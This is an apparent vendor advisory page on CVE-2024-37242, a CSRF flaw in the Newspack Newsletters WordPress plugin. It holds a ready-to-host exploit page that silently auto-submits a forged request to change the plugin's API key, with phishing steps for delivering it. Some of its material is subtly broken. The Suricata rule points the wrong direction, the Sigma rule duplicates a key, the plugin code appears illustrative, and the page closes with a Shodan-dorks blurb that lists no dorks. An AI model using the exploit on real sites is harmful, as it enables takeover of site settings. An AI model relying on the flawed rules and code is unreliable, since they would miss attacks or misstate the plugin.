CVE-2024-37242
Executive Summary
CVE-2024-37242 is a Cross-Site Request Forgery (CSRF) vulnerability in the Newspack Newsletters plugin for WordPress, developed by Automattic. This flaw allows an attacker to trick an authenticated administrator into performing unintended actions, such as modifying newsletter settings or triggering unauthorized API calls, without their consent. The vulnerability affects all versions up to and including 2.13.2. With a CVSS score of 4.3 (Medium), the risk is moderate but can be chained with other vulnerabilities for privilege escalation or data exfiltration. As a WordPress plugin issue, the attack surface is limited to sites running the vulnerable plugin, and exploitation requires user interaction (e.g., clicking a malicious link).
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability resides in a WordPress plugin distributed via the official WordPress plugin repository. No NPM, PyPI, Go, or Ruby packages are involved. The supply chain risk is limited to the plugin’s update mechanism; administrators should ensure automatic updates are enabled or manually patch when a fix is released.
CVSS Breakdown & Threat Level
- Attack Vector (AV): Network (N) – Exploitable remotely.
- Attack Complexity (AC): Low (L) – No special conditions required.
- Privileges Required (PR): None (N) – Attacker does not need authentication.
- User Interaction (UI): Required (R) – Victim must click a crafted link or visit a malicious page.
- Scope (S): Unchanged (U) – Impact confined to the vulnerable component.
- Confidentiality (C): None (N) – No direct data exposure.
- Integrity (I): Low (L) – Attacker can modify settings or trigger actions.
- Availability (A): None (N) – No denial-of-service impact.
Threat Level: Medium. Exploitation requires social engineering, but the impact on integrity can lead to further compromise.
Deep Dive & Mechanics
The vulnerability stems from the absence of CSRF nonce validation in certain administrative actions within the Newspack Newsletters plugin. WordPress uses nonces (number used once) to verify that requests originate from the legitimate admin interface. In this plugin, functions handling newsletter configuration, API key updates, or subscription management fail to check for a valid nonce, allowing an attacker to forge requests.
Attack Flow:
- Attacker crafts a malicious HTML page or email containing a hidden form or image tag that sends a POST request to the vulnerable WordPress admin endpoint (e.g.,
/wp-admin/admin-post.php?action=newspack_newsletters_update_settings). - The victim (authenticated admin) visits the attacker’s page while logged into WordPress.
- The browser automatically sends the forged request with the victim’s cookies.
- The plugin processes the request without verifying the nonce, executing the attacker’s desired action (e.g., changing the newsletter API endpoint to an attacker-controlled server).
Root Cause: Missing check_admin_referer() or wp_verify_nonce() calls in functions hooked to admin_post_* actions.
Vulnerable vs. Patched Code
Vulnerable Code (<= 2.13.2):
add_action('admin_post_newspack_newsletters_update_settings', 'newspack_newsletters_update_settings_handler');
function newspack_newsletters_update_settings_handler() {
// No nonce verification
update_option('newspack_newsletters_api_key', $_POST['api_key']);
wp_redirect(admin_url('admin.php?page=newspack-newsletters'));
exit;
}
Patched Code (Hypothetical):
add_action('admin_post_newspack_newsletters_update_settings', 'newspack_newsletters_update_settings_handler');
function newspack_newsletters_update_settings_handler() {
// Verify nonce
if (!isset($_POST['_wpnonce']) || !wp_verify_nonce($_POST['_wpnonce'], 'newspack_newsletters_update_settings')) {
wp_die('Security check failed.');
}
update_option('newspack_newsletters_api_key', sanitize_text_field($_POST['api_key']));
wp_redirect(admin_url('admin.php?page=newspack-newsletters'));
exit;
}
The patch adds a nonce check using wp_verify_nonce() and sanitizes input. Without the patch, any authenticated admin action is vulnerable.
Exploitation & Lab Setup
Red Team (Attack Simulation)
Prerequisites:
- Target WordPress site with Newspack Newsletters <= 2.13.2.
- Victim admin user logged in.
- Attacker-controlled server to host malicious page.
Exploit HTML (csrf_exploit.html):
<!DOCTYPE html>
<html>
<body>
<h1>Click to win a prize!</h1>
<form action="https://target-site.com/wp-admin/admin-post.php" method="POST">
<input type="hidden" name="action" value="newspack_newsletters_update_settings">
<input type="hidden" name="api_key" value="attacker_controlled_key">
<input type="submit" value="Claim Prize">
</form>
<script>
// Auto-submit for stealth
document.forms[0].submit();
</script>
</body>
</html>
Steps:
- Host the HTML on attacker server (e.g.,
http://attacker.com/exploit.html). - Send phishing email to admin with link to exploit page.
- Admin clicks link, browser sends POST request with cookies.
- Plugin updates API key to attacker’s value, enabling further attacks (e.g., intercepting newsletter data).
Blue Team (Detection & Defense)
Detection:
- Monitor for unexpected POST requests to
/wp-admin/admin-post.phpwithaction=newspack_newsletters_*parameters. - Alert on multiple failed nonce checks (WordPress logs
wp_die()calls). - Use WAF rules to block requests missing
_wpnonceparameter for admin actions.
Defense:
- Apply plugin update immediately when available.
- Implement CSRF tokens manually if patching is delayed.
- Restrict admin access to trusted IPs.
- Educate users about phishing and CSRF risks.
Indicators of Compromise (IOCs)
- Network: POST requests to
/wp-admin/admin-post.phpwithaction=newspack_newsletters_*and no_wpnonceparameter. - Logs: WordPress debug log entries containing
Security check failedorwp_diecalls from the plugin. - File: Modified
wp_optionstable entries fornewspack_newsletters_api_keyor similar. - Behavior: Unexpected changes to newsletter settings or API endpoints.
Detection Engineering
YARA Rule
rule CVE_2024_37242_CSRF_Newspack {
meta:
description = "Detects vulnerable Newspack Newsletters plugin files missing nonce checks"
author = "Valters IT"
date = "2025-04-10"
cve = "CVE-2024-37242"
strings:
$func = "admin_post_newspack_newsletters_" ascii wide nocase
$nonce = "wp_verify_nonce" ascii wide nocase
$check = "check_admin_referer" ascii wide nocase
condition:
$func and not ($nonce or $check)
}
Sigma Rule
title: CVE-2024-37242 CSRF Attempt on Newspack Newsletters
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects POST requests to WordPress admin-post.php with Newspack Newsletters actions missing nonce
author: Valters IT
date: 2025-04-10
logsource:
category: webserver
product: apache
service: access
detection:
selection:
cs-method: POST
cs-uri-query|contains: "admin-post.php"
cs-uri-query|contains: "action=newspack_newsletters_"
filter:
cs-uri-query|contains: "_wpnonce"
condition: selection and not filter
falsepositives:
- Legitimate admin actions with nonce (rare)
level: medium
Suricata Rule
alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2024-37242 CSRF Attempt on Newspack Newsletters"; flow:to_server,established; http.method; content:"POST"; http.uri; content:"/wp-admin/admin-post.php"; http.uri; content:"action=newspack_newsletters_"; pcre:"/^(?!.*_wpnonce).*$/i"; classtype:attempted-admin; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Update Plugin: Check for a patched version (> 2.13.2) from the WordPress plugin repository. If unavailable, disable the plugin until a fix is released.
- Manual Patch: Add nonce verification to all
admin_post_*hooks in the plugin’s main file (e.g.,newspack-newsletters.php). - WAF Rules: Block POST requests to
/wp-admin/admin-post.phpthat lack a_wpnonceparameter for known plugin actions.
Long-Term Measures:
- Enable automatic updates for WordPress plugins.
- Implement Content Security Policy (CSP) headers to mitigate XSS/CSRF.
- Conduct regular security audits of plugin code.
- Use a Web Application Firewall (WAF) with CSRF protection.
Valters IT
Securing digital frontiers with precision and expertise.
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.